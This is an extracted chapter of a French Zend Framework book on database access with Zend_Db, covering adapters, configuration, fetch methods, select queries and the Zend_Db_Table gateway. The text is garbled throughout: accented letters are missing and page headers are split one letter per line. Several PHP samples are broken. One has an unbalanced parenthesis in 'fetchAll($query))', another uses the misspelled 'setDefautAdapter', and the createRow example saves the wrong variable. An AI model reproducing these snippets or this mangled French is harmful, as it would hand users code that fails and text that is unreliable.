// code prcdent, cration de lobjet $log
// ...
// partage du log en registre
Zend_Registry::set('log', $log);
// ...
$session = new Zend_Session_Namespace($configSession->name);
// partage de lobjet de session en registre
Zend_Registry::set('session', $session);
// partage de lobjet translate prcdemment cre
Zend_Registry::set('Zend_Translate', $translate);
// ...
Groupe Eyrolles, 2008
chapitre 5
Groupe Eyrolles, 2008
Accs aux bases de donnes
Laccs la base de donnes est un enjeu rcurrent et critique.
On le retrouve dans la majeure partie des applications web.
la frontire entre les donnes et les fonctionnalits,
la scurit, les performances et la durabilit des choix
techniques sont cruciales.
SOMMAIRE
BMatriser lutilisation
de Zend_Db et de ses drivs
BChoisir loutil adapt
vos besoins avec Zend_Db
COMPOSANTS
BZend_Db
MOTS-CLS
Bbase de donnes
BSQL
Bpasserelle
Badaptateur
Btransaction
Brequte
Bcomposant
BORM
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
50
Le composant Zend_Db de Zend Framework est lun des premiers avoir
vu le jour et lun des plus prouvs lheure actuelle. Ce chapitre con-
tient une mine dexplications et de conseils destins utiliser ce compo-
sant au mieux.
Introduction
Il parat clair quaujourdhui, une application web courante est connecte
au moins un serveur de bases de donnes (SGBD). Zend Framework pro-
pose un ensemble de classes runies dans le composant Zend_Db, permet-
tant de se connecter et dinteragir avec la plupart des SGBD du march.
Zend Framework propose un ensemble dadaptateurs Zend_Db_Adapter,
permettant dabstraire laccs diffrentes bases de donnes. Des
mthodes simples et efficaces sur lobjet adaptateur permettent alors
dinteragir facilement avec une base de donnes.
Zend Framework propose aussi une passerelle vers les tables de donnes.
La classe Zend_Db_Table fait correspondre une table de la base une
classe. Les mthodes utilisables sur les objets dune telle classe permet-
tent alors dinterroger la table afin den rcuprer des enregistrements,
ventuellement de les modifier et de les sauvegarder.
Zend_Db est une classe qui sert construire un adaptateur adquat. Elle
possde beaucoup de constantes utilises par les adaptateurs.
Zend_Db_Adapter comporte un ensemble de sous-classes. Chacune
delles correspond un SGBD diffrent. En gnral, on construit son
adaptateur avec la classe Zend_Db qui propose une fabrique (gnra-
teur dobjets) destine cela.
Zend_Db_Table contient un ensemble de composants responsables de
la passerelle entre tables et classes.
Zend_Db_Profiler est une classe permettant de profiler ses requtes.
Le profiling (ou profilage) est utilis pour contrler les performances
dune application dans le but de les amliorer. Il permet notamment
de dtecter les processus lents.
RENVOI PHP et les SGBD
Pour plus dinformations sur les SGBD de manire
gnrale, ou sur les possibilits de PHP concernant
les bases de donnes, rendez-vous en annexe B.
Figure 51
Diagramme de classes simplifi
du composant Zend_Db
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
51
Zend_Db_Statement reprsente un rsultat compil provenant de la
base de donnes et permet de rcuprer les rsultats dune requte. Il
est possible de lutiliser directement via cette classe, mais en gnral
cest surtout ladaptateur qui le grera en interne.
Zend_Db_Select est une classe qui permet de construire une requte de
slection de donnes (SELECT) avec des objets. Lintrt est doffrir une
interface commune pour ce type de requte. En effet lobjet se chargera
de traduire la requte dans une syntaxe du SGBD sous-jacent.
Zend_Db_Expr est une toute petite classe qui sert insrer des expres-
sions SQL dans ses requtes utilisant Zend_Db_Select.
Utiliser les SGBD
Les SGBD utilisables par Zend Framework
Zend Framework propose le support des SGBD suivants, via PDO :
IBM DB2 et Informix Dynamic Server (IDS) ;
MySQL ;
Microsoft SQL Server ;
Oracle ;
PostgreSQL ;
SQLite.
Aussi, le support des SGBD suivants est assur, sans passer par PDO :
MySQL, via lextension mysqli de PHP ;
Oracle, via lextension oci8 de PHP ;
IBM DB2, grce lextension ibm_db2 de PHP ;
Firebird/Interbase, au travers de lextention PHP php_interbase.
Pour utiliser lun de ces SGBD, il suffit de sassurer que PHP propose
bien lextension ncessaire.
Cration dune connexion
Crer une connexion un SGBD est simple. Pour cela, il faut instancier
la bonne classe en fonction du SGBD que lon souhaite utiliser.
PRREQUIS PDO
PDO signifie PHP Data Object. Il sagit dun
socle commun daccs aux SGBD, orient objet.
PDO est disponible par dfaut dans toutes les ver-
sions de PHP acceptes par Zend Framework. Il
faut cependant sassurer de la prsence du con-
necteur spcifique au SGBD que lon souhaite uti-
liser (il sagit dune simple extension PHP dans
chaque cas). Pour plus dinformations, reportez-
vous lannexe B.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
52
Notre application utilisant MySQL, nous allons nous baser sur
Pdo_Mysql. La cration de lobjet se fait comme suit :
Cration dun objet de connexion une base de donnes
Aussi, la classe Zend_Db propose une mthode statique factory() qui
peut faire exactement la mme chose. Elle apporte cependant plus de
flexibilit si lon souhaite changer de SGBD dans le futur. Comme nous
avons dj vu le composant Zend_Config, nous allons noter sa capacit
se coupler avec Zend_Db :
config.ini
Figure 52
Diagramme de classes simplifi
des adaptateurs, dans Zend_Db
<?php
$db = new Zend_Db_Adapter_Pdo_Mysql(array(
'host ' => '127.0.0.1',
'username' => 'zfbook',
'password' => 'secret',
'dbname' => 'zfbook'
));
[app]
database.adapter = pdo_mysql
database.params.dbname = zfbook
[dev : app]
database.params.host = localhost
database.params.username = zfbook
database.params.password = secret
[prod : app]
database.params.host = my.prod.host
database.params.username = user
database.params.password = secretpass
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
53
Cration de lobjet de connexion avec Zend_Db
Lobjet config est charg avec la section dev car nous sommes en mode
dveloppement. Puis, lobjet $config->database est pass la mthode
factory(). Si les cls adapter et params y sont dcrites comme dans le
fichier config.ini prsent, alors lobjet $db sera correctement construit.
Dans le cas contraire, une exception Zend_Db_Exception sera leve.
Requtes sur une base de donnes
Notre base de donnes exemple est trs simple. Elle se compose de
quatre tables :
room : la table des salles rserver ;
user : la table des utilisateurs. Pour les administrateurs, la colonne
is_admin est mise 1 ;
reservation : une table de liaison. Elle lie les utilisateurs crateurs
aux salles. La cl creator reprsente lutilisateur crateur de la rser-
vation, alors que id_room reprsente la salle rserve ;
reservationuser : cette table lie les utilisateurs concerns par une
rservation, la rservation correspondante.
Aussi, nous avons cr une vue qui va beaucoup nous aider dans la rcup-
ration de rsultats pertinents. Ceci va nous viter pas mal de jointures et
dchargera une partie de la logique de slection de donnes vers le SGBD.
Concernant les donnes, ce quoi nous pouvons nous attendre est
illustr par la figure 5-3.
<?php
$config = new Zend_Config_Ini('config.ini','dev');
$db = Zend_Db::factory($config->database);
RAPPEL Zend_Config composite
Nous avons dj vu Zend_Config, il sagit dun
objet composite : il contient des instances de lui-
mme. Chaque branche de larbre est un objet
Zend_Config, comme la branche database.
La mthode factory() va simplement appeler
la mthode toArray() de lobjet
Zend_Config.
Figure 53
Modle de traitement de notre
base de donnes exemple
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
54
Comme nous pouvons le constater sur la figure 5-4, notre objet adapta-
teur (instance de Zend_Db_Adapter_Pdo_Mysql, pour rappel) hrite de
deux autres classes dans larchitecture de Zend Framework. Il possde
ainsi beaucoup de mthodes (les attributs des classes nont pas t repr-
sents sur le schma) et un IDE autorisant la compltion sur les objets
sera le bienvenu : nous aborderons ce point dans le chapitre 14.
Le systme est donc trs simple, mme si premire vue il peut paratre
touffu. Ladaptateur va, au moyen de mthodes, interagir avec le SGBD,
et lorsquil devra retourner des rsultats (requte de type SELECT par
exemple), il utilisera la classe Statement. Cette classe utilise
PDOStatement, mais en gnral nous naurons pas besoin de la manipuler
directement ; ladaptateur sert dinterface unique et lui retourne, la plu-
part du temps, des tableaux PHP, des objets ou des entiers.
Figure 54
Diagramme de classes non exhaustif de
lensemble Zend_Db pour Pdo_Mysql
CONSEIL Requtes prpares
Quoi que vous fassiez, Zend Framework prparera
toujours la requte que vous lui demanderez
deffectuer. Il est important de notre ct de
sparer les donnes et la structure de la requte
des fins doptimisation.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
55
Envoyer des requtes
Lobjet adaptateur permet toutes sortes de requtes. Il est lobjet pilote
de la base de donnes et propose, dans un premier temps, des mthodes
fetch charges denvoyer une requte et den rcuprer les rsultats.
Chaque mthode fetch va retourner le rsultat dune manire prcise.
Les voici dtailles :
fetchAll() rcupre tous les rsultats ;
fetchRow() rcupre le premier jeu de rsultats ;
fetchAssoc() rcupre tous les rsultats dans un tableau associatif ;
fetchCol() rcupre tous les rsultats, mais uniquement la premire
colonne demande ;
fetchOne() = fetchRow() + fetchCol() : retourne la premire colonne
du premier jeu de rsultats ;
fetchPairs() rcupre les rsultats sous forme de tableau associatif,
la colonne 1 est en index, la colonne 2 en rsultat.
Les fetchModes de PDO sont utilisables avec fetchRow() et fetchAll().
Ceux-ci sont reprsents par des constantes dans Zend_Db, par exemple
Zend_Db::FETCH_ASSOC, Zend_Db::FETCH_NUM, Zend_Db::FETCH_BOTH,
Zend_Db::FETCH_COLUMN, Zend_Db::FETCH_OBJ...
Exemple de rcupration de rsultats suite une requte SELECT
Rsultat
Certaines mthodes, comme fetchOne() par exemple, ne rcuprent
quun sous-ensemble du rsultat. Faites attention bien slectionner les
bonnes colonnes dans votre requte, au risque de gaspiller des ressources
en demandant au SGBD de manipuler beaucoup de colonnes, alors que
la mthode de rcupration ne soccupera que de certaines dentre elles.
<?php
$query = "SELECT lastname, firstname FROM user";
$result = $db->fetchAll($query));
Zend_Debug::dump($result);
array(2) {
[0] => array(2) {
["lastname"] => string(5) "pauli"
["firstname"] => string(6) "julien"
}
[1] => array(2) {
["lastname"] => string(7) "ponon"
["firstname"] => string(9) "guillaume"
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
56
Exemple de requte correcte avec fetchOne()
Toutes les mthodes fetch prennent un paramtre de bind : il sagit dune
chane ou dun tableau de chanes remplacer lors de la requte. Rappe-
lons que Zend Framework utilise des requtes prpares en permanence.
Affichage des nom/prnom des utilisateurs administrateurs numrots de 1 10
Bien dautres mthodes existent sur ladaptateur, mais on ne peut toutes
les dtailler. Voyons comment mettre jour, supprimer ou insrer des
enregistrements.
Insertion dune salle dans la base de donnes
Les donnes fournies en paramtres sont automatiquement prcdes
dun caractre dchappement.
Mise jour des donnes dun utilisateur
Les donnes fournies en paramtres sont automatiquement prcdes
dun caractre dchappement.
<?php
// Affiche "pauli"
$query = "SELECT lastname FROM user WHERE firstname='julien'";
$result = $db->fetchOne($query));
echo $result;
<?php
$query = "SELECT firstname, lastname
FROM user
WHERE id=:id AND is_admin=:admin";
$id_array = range(1, 10);
foreach ($id_array as $id) {
$binds = array('id'=>$id, 'admin'=>1);
$result = $db->fetchRow($query, $binds);
echo $result['firstname'], $result['lastname'];
}
<?php
try {
$data = array('name' => 'Salon', 'capacity' => 15);
$count = $db->insert("room", $data);
echo $count . " salle(s) insre(s)";
} catch (Zend_Db_Exception $e) {
printf("erreur de requte : %s", $e->getMessage());
}
<?php
$updated = $db->update("user", array('is_admin' => 0), 'id=1');
echo $updated . " enregistrement(s) affect";
EN PRATIQUE Exceptions
Presque toutes les mthodes utilises dans
Zend_Db_Adapter renvoient des exceptions si
un problme survient (requte mal forme,
nombre de paramtres remplacer incorrect). Ces
exceptions peuvent tre de plusieurs types, mais
elles tendent toutes Zend_Db_Exception. Il
faut donc intercepter cette exception dans un bloc
try/catch. Dans nos exemples, nous nutilise-
rons pas systmatiquement cette syntaxe pour des
raisons de place et de simplification.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
57
Suppression des rservations effectues par lutilisateur 1
Si les donnes fournies en paramtres ne sont pas prcdes dun carac-
tre dchappement, dans votre cas, utilisez les mthodes quote() ou
quoteinto().
Effectuer des requtes de type SELECT avances
La majeure partie des requtes SQL dune application sont de type
SELECT. Afin de faciliter leur utilisation, la classe Zend_Db_Select
permet de :
construire des requtes laide dobjets, assurant une maintenance
simplifie ;
insrer automatiquement un caractre dchappement devant les
noms des tables et des champs slectionns ;
ajouter automatiquement un caractre dchappement devant les
valeurs insres dans la requte ;
aider labstraction de la syntaxe SQL par des mthodes communes.
Nous allons tenter de rcuprer toutes les rservations de la salle 3, con-
cernant lutilisateur 2. Pour cela, deux jointures seront ncessaires.
Exemple Zend_Db_Select
Nous pouvons remarquer quune interface fluide nous est propose.
Les mthodes ne sont pas compliques retenir, quelques essais de
requtes suffisent pour se familiariser avec elles. Chaque tableau dfinit
une table ou une colonne, et la cl en dfinit lalias SQL. Deux
mthodes where() chanes seront comprises comme tant concatnes
avec un ET logique. Si on ne spcifie pas de colonne particulire rcu-
prer dans la clause FROM ou JOIN, alors * sera utilis.
<?php
$conditions = array("creator=1");
$deleted = $db->delete("reservation", $conditions);
echo $deleted . " enregistrement(s) supprim(s)";
<?php
$select = $db->select();
$select->from(array("r" => "reservation"), "usage")
->join(array("s" => "room"),
"r.id_room=s.id",
array("salle" => "name"))
->join(array("u" => "user"),
"r.creator=u.id",
array("personne" => "firstname"))
->where("s.id=3")
->where("u.id=2")
->limit(3);
T Interface fluide
Un objet propose une interface fluide lorsquil
permet de chaner ses mthodes de manire illi-
mite et intuitive. En dautres termes, chaque
mthode dune classe dinterface fluide retourne
$this.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
58
Notez que nous pouvons complter notre objet $select dans lordre que
nous voulons : commencer par la clause WHERE puis finir par la
FROM. Tant que lon nexcute pas la requte encapsule dans lobjet, le
SGBD nest au courant de rien.
La syntaxe SQL gnre par lobjet $select sera compatible avec le
SGBD reprsent dans lobjet adaptateur ($db dans nos exemples). Vous
pouvez prendre connaissance de cette syntaxe nimporte quel moment,
en affichant lobjet $select avec une commande echo par exemple. Sa
classe utilise la mthode magique __toString().
Affichage de la syntaxe SQL de la requte
Pour excuter la requte, il suffit de passer lobjet Zend_Db_Select
nimporte quelle mthode de rcupration de rsultats (fetch) que nous
avons vue :
Rcupration des rsultats de lobjet de slection
Il est possible dutiliser des expressions ou des fonctions dpendantes du
SGBD dans la requte de slection. Zend_Db_Select va dtecter les
parenthses lors de leur criture et agir en consquence.
Exemple dutilisation dune fonction MySQL dans une requte SELECT
<?php
// ...
echo $select;
// Avec Mysql, ceci affiche :
SELECT `r`.`usage`, `s`.`name` AS `salle`, `u`.`firstname` AS
X `personne` FROM `reservation` AS `r` INNER JOIN `room` AS
X `s` ON r.id_room=s.id INNER JOIN `user` AS `u` ON
X r.creator=u.id WHERE (s.id=3) AND (u.id=2) LIMIT 3
<?php
// ...
Zend_Debug::dump($db->fetchAll($select));
// affiche :
array(1) {
[0] => array(3) {
["usage"] => string(26) "runion ventes mensuelles"
["salle"] => string(7) "Pintade"
["personne"] => string(9) "guillaume"
}
}
<?php
$select = $db->select();
$select->from("user",
array("CONCAT(firstname,' - ',lastname) AS user"))
->where("id=2");
RENVOI Mthode magique
Pour tout savoir sur les mthodes magiques, con-
sultez lannexe C.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
59
Zend_Db_Select va alors automatiquement convertir cette expression en
utilisant un objet Zend_Db_Expr prvu cet effet.
Utiliser la passerelle vers les tables
Toute la partie requte et interface avec le SGBD va se substituer la
couche Model du sigle MVC (Model-View-Controller ou Modle-Vue-
Contrleur, en franais). Elle devra tre isole dans des classes globales
qui permettront une gestion simple et commune des donnes. En utili-
sant Zend Framework, ces classes emploient la logique fournie par
Zend_Db_Table.
Zend_Db_Table est un sous-composant de Zend_Db, qui utilise un motif
de conception dit Table Data Gateway. Ce motif permet de crer une
passerelle entre une table de base de donnes et une classe PHP. Chaque
table peut tre reprsente par une classe, et les mthodes proposes sur
les objets instances de cette classe vont offrir une manire simple deffec-
tuer des oprations sur la table en question.
Zend_Db_Table_Abstract contient toute la logique de gestion de la
table. Toutes nos classes vont tendre cette classe.
Zend_Db_Table_Row_Abstract reprsente un enregistrement de la
table : on peut le modifier, le supprimer, lenregistrer...
Zend_Db_Table_Rowset_Abstract reprsente un jeu denregistrements
retourn par la requte SQL. Il est itratif et comptable, et sera
retourn quelques fois par Zend_Db_Table_Abstract.
CULTURE ORM
Zend_DB_Table nest pas un ORM (Object
Relational Mapping ou mapping objet-rela-
tionnel, en franais) proprement parler. Un ORM
peut utiliser ou non une base de donnes comme
support sous-jacent. Un ORM soccupe dchanger
des messages entre des objets et peut ventuelle-
ment utiliser une passerelle vers les tables, comme
Zend_Db_Table. Il existe plusieurs solutions
ORM en PHP : Doctrine et Propel pour les plus
compltes, phpMyObject, EZPDO ou encore jDao.
Figure 55
Diagramme de classes non exhaustif
de lensemble Zend_Db_Table
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
60
Zend_Db_Table_Select tend Zend_Db_Select, il ragit comme cette
classe, mais il est rduit des requtes qui concernent exclusivement
la table Zend_Db_Table qui lui est associe.
Mapping de la table user, fichier TUser.php
Au plus simple, il faut spcifier dans les proprits protges $_name et
$_primary, respectivement les noms de la table et de la (des) cl(s) pri-
maire(s). Mme si Zend Framework est capable de trouver la (les) cl(s)
primaire(s), il est conseill de la (les) faire apparatre, ce qui simplifie la
lecture de la classe.
Une cl primaire compose de plusieurs colonnes doit tre spcifie sous
forme de tableau.
Mapping de la table reservation, fichier TReservation.php
Crer et excuter des requtes
Toutes les classes hritant de Zend_Db_Table_Abstract, que nous pour-
rons aussi appeler classes modles ou modles (en rfrence au M de
MVC), vont avoir besoin de ladaptateur afin de pouvoir piloter la base
de donnes. Il est donc indispensable de le leur fournir, et il existe une
manire trs simple pour cela.
Partage de ladaptateur entre tous les modles
<?php
/**
* Modle associ la table user
*/
class TUser extends Zend_Db_Table_Abstract
{
protected $_name = 'user';
protected $_primary = 'id';
}
<?php
/**
* Modle associ la table reservation
*/
class TReservation extends Zend_Db_Table_Abstract
{
protected $_name = 'reservation';
protected $_primary = 'id';
}
<?php
// $db est lobjet de connexion Zend_Db_Adapter
Zend_Db_Table_Abstract::setDefautAdapter($db);
ENTRE NOUS Abstract ou non
Zend_Db_Table, mais aussi les classes Row et
Rowset, possdent la fois une classe abstraite
et une classe concrte (sauf Zend_Db_Table
qui est abstraite, mais dprcie). Les concrtes
hritant des abstraites sans rien redfinir, tendez
plutt labstraite (pour des raisons de perfor-
mances). Sachez aussi que, comme nous le ver-
rons, les classes Row et Rowset peuvent tres
changes par vos propres classes via des
mthodes le proposant.
ATTENTION Pas de cl primaire ?
Zend Framework refusera systmatiquement
toute classe passerelle vers une table ne com-
portant pas de cl primaire. Vos tables doivent
possder au moins une colonne permettant
didentifier chaque enregistrement de manire
unique. Par dfinition, notre vue ne possde pas
de cl primaire, mais nous leurrons Zend Fra-
mework en spcifiant tout de mme une cl.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
61
Zend_Db_Table_Abstract nest autre quune surcouche de
Zend_Db_Adapter servant manipuler les donnes travers le concept de
tables. La figure 5-6 montre les mthodes (publiques) dont nous disposons.
Les mthodes telles que insert(), delete(), ou encore update(), sont
trs similaires celles utilisables sur ladaptateur. Nous les avons vues
prcdemment dans ce chapitre. La seule diffrence est quelles naccep-
tent plus de paramtre reprsentant le nom de la table, car celui-ci est
dj encapsul dans lobjet.
Manipuler des donnes
Les mthodes fetchAll(), fetchRow(), find() et createRow() retour-
nent un ou des enregistrements. Un enregistrement est reprsent par un
objet instance de Zend_Db_Table_Row_Abstract. Par dfaut, la classe
Zend_Db_Table_Row est utilise.
Rcuprer des enregistrements
Plusieurs enregistrements peuvent tre encapsuls dans un objet
Zend_Db_Table_Rowset_Abstract, qui est par dfaut un
Zend_Db_Table_Rowset. Cet objet Rowset est itratif et comptable.
La figure 5-7 montre les mthodes offertes par ces deux classes.
Commenons par afficher tous les utilisateurs.
Figure 56
Diagramme de classes des mthodes
publiques de Zend_Db_Table_Abstract
Figure 57
Diagramme de classes des mthodes
publiques des Zend_Db_Table_Rows
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
62
Affichage de tous les utilisateurs
Par dfaut fetchAll() utilise une requte de type SELECT *. Ainsi le
rsultat mis dans $users est un Rowset.
Les enregistrements Rows donnent accs aux colonnes SQL slection-
nes, directement en tant quattributs de lobjet. Comme la requte qui a
donn naissance ce jeu de rsultats slectionne toutes les colonnes de la
table, elles sont toutes accessibles dans les enregistrements rsultants.
Voyons comment limiter la requte avec un objet Zend_Db_Table_Select.
Cet objet se comporte presque de la mme manire que son pre
Zend_Db_Select (que nous avons vu prcdemment dans ce chapitre),
sauf quil est un peu plus restrictif quant aux donnes slectionnes. En
effet, celles-ci ne peuvent faire partie que de la table qui y est associe.
Slection avance de donnes sur la table
Ici nous utilisons un objet Zend_Db_Table_Select afin de limiter les
rsultats retourns : nous ne voulons que la colonne lastname des utilisa-
teurs dont lid est infrieur 5.
Les objets rsultants de cette requte ne proposent plus laccs qu la
colonne lastname, seule slectionne.
Affichage des donnes dun jeu denregistrements sous forme de tableau
<?php
// Nous supposons les classes passerelles incluses
// require_once 'Tuser.php';
$table = new TUser;
$users = $table->fetchAll();
foreach ($users as $user) {
echo $user->lastname;
}
<?php
$table = new TUser;
$select = $table->select()->from($table, 'lastname')
->where('id < ?', 5);
$users = $table->fetchAll($select);
foreach ($users as $user) {
echo $user->lastname;
}
<?php
$table = new TUser;
$select = $table->select()->from($table, 'lastname')
->where('id < ?',5);
$users = $table->fetchAll($select);
Zend_Debug::dump($users->toArray());
RAPPEL Zend_Db_Table_Rowset
Zend_Db_Table_Rowset est un itrateur de
Zend_Db_Table_Row (un jeu de rsultats). La
classe implmente seekableIterator, nous
pouvons donc utiliser une structure foreach sur
ses objets. Les itrateurs sont expliqus en
annexe C.
ATTENTION Zend_Db_Table_Select
Zend_Db_Table_Select est verrouill sur
la table qui lui a donn naissance (via la
mthode select()). Il nest pas possible avec
cet objet de slectionner des colonnes ne faisant
pas partie de la table de rfrence. Il est en
revanche possible de crer des jointures.
ALTERNATIVE Et fetchRow() ?
Nous utilisons souvent la mthode fetchAll()
de Zend_Db_Table_Abstract. Celle-ci
retourne un jeu denregistrements (Rowset).
fetchRow(), elle, retourne un seul enregistre-
ment (Row). Il faut donc lutiliser sur une requte
prpare dans ce but.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
63
La mthode find() de Zend_Db_Table_Abstract retourne des enregistre-
ments par cl primaire. Cest une mthode de convenance souvent uti-
lise. Comme on peut lui demander un jeu de rsultats concernant
plusieurs cls primaires, elle retourne systmatiquement un objet
Zend_Db_Table_Rowset.
Rcupration de lutilisateur numro 2
Il est aussi possible de passer un tableau dentiers la mthode find(),
elle cherchera alors les enregistrements dont les cls primaires sont celles
spcifies.
Modifier et sauvegarder des enregistrements
Tout objet Row donne donc accs, via ses attributs, aux donnes de lenre-
gistrement de base de donnes. Les colonnes de la table sont utilises
comme noms dattributs sur lobjet.
Ces attributs sont aussi accessibles en criture, il est donc possible de
modifier une donne du Row. La mthode save() permet alors de mettre
jour lenregistrement dans la base de donnes.
Modification et sauvegarde dun utilisateur en base de donnes
// Affiche un rsultat ressemblant :
array(2) {
[0] => array(1) {
["lastname"] => string(5) "pauli"
}
[1] => array(1) {
["lastname"] => string(7) "ponon"
}
}
<?php
$table = new Tuser;
$membres = $table->find(2);
$membre2 = $membres->current();
// Affiche le prnom de lutilisateur membre numro 2
echo $membre2->firstname;
<?php
$table = new Tuser;
$membres = $table->find(2);
$membre = $membres->current();
// Modification du prnom de lutilisateur, dans lobjet
$membre->firstname = 'Alain';
// Enregistrement de lobjet en base de donnes
$membre->save();
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
64
Aussi, la mthode delete() va supprimer de la base de donnes lenre-
gistrement concern.
Suppression de lutilisateur numro 2
Il peut aussi tre utile de pouvoir crer un enregistrement Row vierge
(vide), pour, par exemple, le remplir avec les donnes issues dun formu-
laire, avant de lenregistrer en base de donnes. Ceci se fait au moyen de
la mthode createRow() depuis la classe Zend_Db_Table_Abstract en
question.
Cration dun objet vierge, remplissage et sauvegarde
Remarquez que la mthode save() est intelligente. Sil sagit dune
modification dun enregistrement existant, alors elle excutera une
requte de type update. Dans le cas contraire, une requte insert sera
alors utilise.
Aussi, il est possible de mettre un enregistrement Row (ou un Rowset) en
session, ou encore de le srialiser.
Une fois mis en session, lenregistrement peut en tre restaur, mais il
sera alors en mode lecture seule. Chaque enregistrement Row (tout
comme les jeux denregistrements Rowset) possde en lui la connexion
la base de donnes (Zend_Db_Adapter_*). Cette connexion ne peut tre
srialise, ainsi lobjet dsrialis sera nu. Il faut de nouveau le relier la
table laquelle il appartient afin de pouvoir le sauver ou le modifier.
<?php
$table = new Tuser;
$membres = $table->find(2);
$membre = $membres->current();
// Suppression de lutilisateur de la base de donnes
$membre->delete();
<?php
$table = new Tuser;
// Cration dun objet Row vierge
$nvoMembre = $table->createRow();
// Remplissage de lobjet cr
$nvoMembre->firstname = 'Jean';
$nvoMembre->lastname = 'Dupont';
// Sauvegarde de cet objet en base de donnes
$membre->save();
ATTENTION Cl primaire inaccessible
Il vous est interdit daccder en criture la cl
primaire de lenregistrement. Une exception
sera leve. Dans le cas o la cl primaire nest
pas auto-incrmente, il faut dclarer un
attribut $_sequence = false dans la
classe de la table en question, afin de permettre
la modification de la cl primaire sur les enregis-
trements Rows qui en rsultent.
T Srialisation
La srialisation est laction de passer dun type
composite (en PHP, le tableau ou lobjet), un type
scalaire (chane de caractres). Un objet ou un
tableau ne peut tre enregistr en session sans
tre srialis. Le mcanisme des sessions en PHP le
fait automatiquement. Cela dit la fonction PHP
serialize() est disponible pour effectuer
lopration manuellement, au besoin.
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
65
Enregistrement dun Row en session
Restauration dun Row depuis la session
Un objet dsrialis est donc en mode dconnect, ce qui peut se vrifier via
la mthode isConnected(). Nous verrons dans la section Aller plus loin de
ce chapitre comment manipuler ces fonctionnalits de manire avance.
Agir sur les tables dpendantes
Il est possible, depuis un enregistrement Row, de demander un ou plu-
sieurs enregistrements dpendants. Pour cela, il faut identifier le type de
relations entre les tables. Celles-ci sont au nombre de trois :
1 vers 1 : par exemple, lorsque depuis une rservation, nous voulons
retrouver la salle, ou encore lutilisateur correspondant. Depuis une
rservation, il ne peut y avoir quun utilisateur correspondant (ou une
salle), il sagit donc dune relation 1 vers 1 ;
1 vers plusieurs : par exemple, lorsque depuis une salle, nous voulons
accder ses rservations. Une salle possde bien zro ou plusieurs
rservations, la relation est donc 1 vers plusieurs ;
<?php
session_start();
$table = new Troom;
$room3 = $table->find(3)->current();
// Enregistrement et srialisation automatique de
// lobjet en session
$_SESSION['room'] = $room3;
<?php
// Dans un autre script, aprs
session_start();
// Rcupration et dsrialisation automatique de lobjet
$room3 = $_SESSION['room'];
$room3->name = 'changed';
$room3->save(); // Ceci gnre une exception
$table = new Troom;
// Reconnexion de lenregistrement sa table et
// donc la base de donnes
$room3->setTable($table);
$room3->name = 'changed';
$room3->save(); // ok
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
66
plusieurs vers plusieurs : par exemple, depuis une salle nous voulons
connatre tous les utilisateurs y tant affects. Pour cela, il faudra
passer par la table reservationuser (dite table de liaison). La relation
est bien de type plusieurs plusieurs.
Zend Framework nest pas capable de dcouvrir ces relations pour nous.
Nous allons devoir les lui prciser.
ce titre, la rgle est simple : toute classe passerelle vers une table rece-
vant des cls dune autre table devra en prciser lorigine. Ceci se fait au
moyen de lattribut de classe $_referenceMap.
Dfinition des relations de la table reservation
Ds lors que les relations sont dclares, il devient possible, sur un enre-
gistrement Row dune table, de demander les enregistrements lis. Voici
les mthodes disponibles :
findParentRow() : partir dun enregistrement, trouve lenregistre-
ment parent. Dfini par une relation 1 vers 1 ;
findDependentRowset() : partir dun enregistrement, trouve les
enregistrements (Rowset) dpendants dans une table. Dfini par la
relation 1 vers plusieurs ;
findManyToManyRowset() : partir dun enregistrement, trouve les
enregistrements (Rowset) dpendants dans une table, en passant par
une table de liaison. Dfini par la relation plusieurs vers plusieurs.
Aussi, des mthodes magiques peuvent remplacer celles-ci, de manire
proposer des appels plus intuitifs :
find<classe>() : est quivalent findParentRow() ;
findParent<classe>() : est quivalent findDependentRowset() ;
find<classe1>Via<classe2>() : est quivalent
findManyToManyRowset().
<?php
class TReservation extends Zend_Db_Table_Abstract
{
protected $_name = 'reservation';
protected $_primary = array('id_user', 'id_room');

protected $_referenceMap = array(
'Salle' => array(
'columns' => 'id_room',
'refTableClass' => 'TRoom',
),
'Utilisateur' => array(
'columns' => 'creator',
'refTableClass' => 'TUser',
),);
}
SCURIT Contraintes dintgrit
Nous utilisons une table MySQL au format
Innodb. Ce moteur de stockage nous permet de
crer des contraintes dintgrit rfrentielle sur
les colonnes des tables. Le framework, et plus
gnralement lapplication, est alors soulag de
cette partie.
5


A
c
c

s

a
u
x

b
a
s
e
